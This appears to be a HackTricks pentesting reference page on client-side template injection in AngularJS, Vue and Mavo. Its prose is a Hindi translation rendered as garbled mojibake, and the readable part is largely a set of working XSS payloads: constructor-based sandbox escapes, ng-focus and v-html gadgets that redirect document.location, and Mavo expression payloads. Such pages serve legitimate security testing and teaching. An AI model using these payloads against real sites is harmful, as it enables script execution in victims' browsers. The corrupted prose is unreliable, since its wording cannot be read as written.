hacktricks/pentesting-web/client-side-template-injection-csti.md

8.6 KiB

Client Side Template Injection (CSTI)

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Summary

рдпрд╣ Server Side Template Injection рдХреА рддрд░рд╣ рд╣реИ рд▓реЗрдХрд┐рди client рдореЗрдВред SSTI рдЖрдкрдХреЛ remote server рдкрд░ рдХреЛрдб execute рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗ рд╕рдХрддрд╛ рд╣реИ, CSTI рдЖрдкрдХреЛ victim's browser рдореЗрдВ рдордирдорд╛рдирд╛ JavaScript рдХреЛрдб execute рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗ рд╕рдХрддрд╛ рд╣реИред

рдЗрд╕ рднреЗрджреНрдпрддрд╛ рдХреЗ рд▓рд┐рдП Testing SSTI рдХреЗ рдорд╛рдорд▓реЗ рдореЗрдВ рдмрд╣реБрдд similar рд╣реИ, interpreter рдПрдХ template рдХреА рдЕрдкреЗрдХреНрд╖рд╛ рдХрд░рддрд╛ рд╣реИ рдФрд░ рдЗрд╕реЗ execute рдХрд░реЗрдЧрд╛ред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдПрдХ payload рдЬреИрд╕реЗ {{ 7-7 }} рдХреЗ рд╕рд╛рде, рдпрджрд┐ рдРрдк vulnerable рд╣реИ рддреЛ рдЖрдк 0 рджреЗрдЦреЗрдВрдЧреЗ, рдФрд░ рдпрджрд┐ рдирд╣реАрдВ, рддреЛ рдЖрдк рдореВрд▓ рджреЗрдЦреЗрдВрдЧреЗ: {{ 7-7 }}

AngularJS

AngularJS рдПрдХ рд╡реНрдпрд╛рдкрдХ рд░реВрдк рд╕реЗ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рдиреЗ рд╡рд╛рд▓рд╛ JavaScript framework рд╣реИ рдЬреЛ HTML рдХреЗ рд╕рд╛рде attributes рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдмрд╛рддрдЪреАрдд рдХрд░рддрд╛ рд╣реИ рдЬрд┐рд╕реЗ directives рдХреЗ рд░реВрдк рдореЗрдВ рдЬрд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИ, рдПрдХ рдЙрд▓реНрд▓реЗрдЦрдиреАрдп ng-app рд╣реИред рдпрд╣ directive AngularJS рдХреЛ HTML рд╕рд╛рдордЧреНрд░реА рдХреЛ рд╕рдВрд╕рд╛рдзрд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдбрдмрд▓ рдХрд░реНрд▓реА рдмреНрд░реЗрд╕реЗрд╕ рдХреЗ рдЕрдВрджрд░ JavaScript expressions рдХреЗ execution рдХреА рдЕрдиреБрдорддрд┐ рдорд┐рд▓рддреА рд╣реИред

рдРрд╕реЗ рдкрд░рд┐рджреГрд╢реНрдпреЛрдВ рдореЗрдВ рдЬрд╣рд╛рдВ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЗрдирдкреБрдЯ рдХреЛ ng-app рдХреЗ рд╕рд╛рде рдЯреИрдЧ рдХрд┐рдП рдЧрдП HTML body рдореЗрдВ рдЧрддрд┐рд╢реАрд▓ рд░реВрдк рд╕реЗ рдбрд╛рд▓рд╛ рдЬрд╛рддрд╛ рд╣реИ, рдордирдорд╛рдирд╛ JavaScript рдХреЛрдб execute рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИред рдпрд╣ рдЗрдирдкреБрдЯ рдХреЗ рднреАрддрд░ AngularJS рдХреА syntax рдХрд╛ рд▓рд╛рдн рдЙрдард╛рдХрд░ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдиреАрдЪреЗ рдЙрджрд╛рд╣рд░рдг рджрд┐рдП рдЧрдП рд╣реИрдВ рдЬреЛ рджрд┐рдЦрд╛рддреЗ рд╣реИрдВ рдХрд┐ рдХреИрд╕реЗ JavaScript рдХреЛрдб execute рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ:

{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
<input ng-focus=$event.view.alert('XSS')>

<!-- Google Research - AngularJS -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>

рдЖрдк рдЗрд╕ рдмреБрдирд┐рдпрд╛рджреА рдСрдирд▓рд╛рдЗрди рдЙрджрд╛рд╣рд░рдг рдХреЛ AngularJS рдореЗрдВ рдЗрд╕ рд▓рд┐рдВрдХ рдкрд░ рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ http://jsfiddle.net/2zs2yv7o/ рдФрд░ Burp Suite Academy рдореЗрдВ

{% hint style="danger" %} Angular 1.6 рдиреЗ рд╕реИрдВрдбрдмреЙрдХреНрд╕ рд╣рдЯрд╛ рджрд┐рдпрд╛ рдЗрд╕рд▓рд┐рдП рдЗрд╕ рд╕рдВрд╕реНрдХрд░рдг рд╕реЗ рдПрдХ рдкреЗрд▓реЛрдб рдЬреИрд╕реЗ {{constructor.constructor('alert(1)')()}} рдпрд╛ <input ng-focus=$event.view.alert('XSS')> рдХрд╛рдо рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдПред {% endhint %}

VueJS

рдЖрдк рдПрдХ рдХрдордЬреЛрд░ Vue рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдЗрд╕ рд▓рд┐рдВрдХ рдкрд░ рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ https://vue-client-side-template-injection-example.azu.now.sh/
рдХрд╛рдо рдХрд░рдиреЗ рд╡рд╛рд▓рд╛ рдкреЗрд▓реЛрдб: https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%

рдФрд░ рдХрдордЬреЛрд░ рдЙрджрд╛рд╣рд░рдг рдХрд╛ рд╕реНрд░реЛрдд рдХреЛрдб рдпрд╣рд╛рдБ рд╣реИ: https://github.com/azu/vue-client-side-template-injection-example

<!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>

CSTI рдкрд░ VUE рдореЗрдВ рдПрдХ рдмрд╣реБрдд рдЕрдЪреНрдЫрд╛ рдкреЛрд╕реНрдЯ https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets рдкрд░ рдкрд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред

V3

{{_openBlock.constructor('alert(1)')()}}

Credit: Gareth Heyes, Lewis Ardern & PwnFunction

V2

{{constructor.constructor('alert(1)')()}}

Credit: Mario Heiderich

рдЕрдзрд┐рдХ VUE рдкреЗрд▓реЛрдбреНрд╕ рджреЗрдЦреЗрдВ https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected

Mavo

Payload:

[7*7]
[(1,alert)(1)]
<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
[self.alert(1)]
javascript:alert(1)%252f%252f..%252fcss-images
[Omglol mod 1 mod self.alert (1) andlol]
[''=''or self.alert(lol)]
<a data-mv-if='1 or self.alert(1)'>test</a>
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
<a href=[javascript&':alert(1)']>test</a>
[self.alert(1)mod1]

рдЕрдзрд┐рдХ рдкреЗрд▓реЛрдбреНрд╕ https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations

рдмреНрд░реВрдЯ-рдлреЛрд░реНрд╕ рдбрд┐рдЯреЗрдХреНрд╢рди рд▓рд┐рд╕реНрдЯ

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}

{% hint style="success" %} рд╕реАрдЦреЗрдВ рдФрд░ рдкреНрд░реИрдХреНрдЯрд┐рд╕ рдХрд░реЗрдВ AWS рд╣реИрдХрд┐рдВрдЧ:HackTricks Training AWS Red Team Expert (ARTE)
рд╕реАрдЦреЗрдВ рдФрд░ рдкреНрд░реИрдХреНрдЯрд┐рд╕ рдХрд░реЗрдВ GCP рд╣реИрдХрд┐рдВрдЧ: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks рдХрд╛ рд╕рдорд░реНрдерди рдХрд░реЗрдВ
{% endhint %}